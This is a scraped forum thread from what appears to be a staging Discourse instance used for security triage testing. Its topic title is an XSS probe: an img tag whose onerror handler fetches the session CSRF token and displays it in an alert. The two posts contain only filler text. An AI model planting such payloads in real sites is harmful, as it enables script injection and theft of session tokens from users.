# CSRFaaa \<img src=x onerror="fetch('/session/csrf.json').then(r=\>r.json()).then(d=\>alert('CSRF Token: '+d.csrf))"\>

**URL:** <https://h1triage.staged-by-discourse.com/t/csrfaaa-img-src-x-onerror-fetch-session-csrf-json-then-r-r-json-then-d-alert-csrf-token-d-csrf/95>\
**Category:** Uncategorized\
**Created:** [February 4, 2026, 11:05am UTC](https://h1triage.staged-by-discourse.com/t/csrfaaa-img-src-x-onerror-fetch-session-csrf-json-then-r-r-json-then-d-alert-csrf-token-d-csrf/95 "2026-02-04T11:05:43Z")\
**Posts on this page:** 2\
**Page:** 1

<div class="post-metadata">

**Author:** ![tyson](https://avatars.discourse-cdn.com/v4/letter/t/b4bc9f/32.png) [@tyson](https://h1triage.staged-by-discourse.com/u/tyson)\
**Post date:** [February 4, 2026, 11:05am UTC](https://h1triage.staged-by-discourse.com/t/csrfaaa-img-src-x-onerror-fetch-session-csrf-json-then-r-r-json-then-d-alert-csrf-token-d-csrf/95/1 "2026-02-04T11:05:43Z")

</div>

helloabcdea

helloabcdea

helloabcdea

---

<div class="post-metadata">

**Author:** ![tyson](https://avatars.discourse-cdn.com/v4/letter/t/b4bc9f/32.png) [@tyson](https://h1triage.staged-by-discourse.com/u/tyson)\
**Post date:** [February 4, 2026, 5:53pm UTC](https://h1triage.staged-by-discourse.com/t/csrfaaa-img-src-x-onerror-fetch-session-csrf-json-then-r-r-json-then-d-alert-csrf-token-d-csrf/95/2 "2026-02-04T17:53:31Z")

</div>

abcdeahdasndasd

abcdeahdasndasd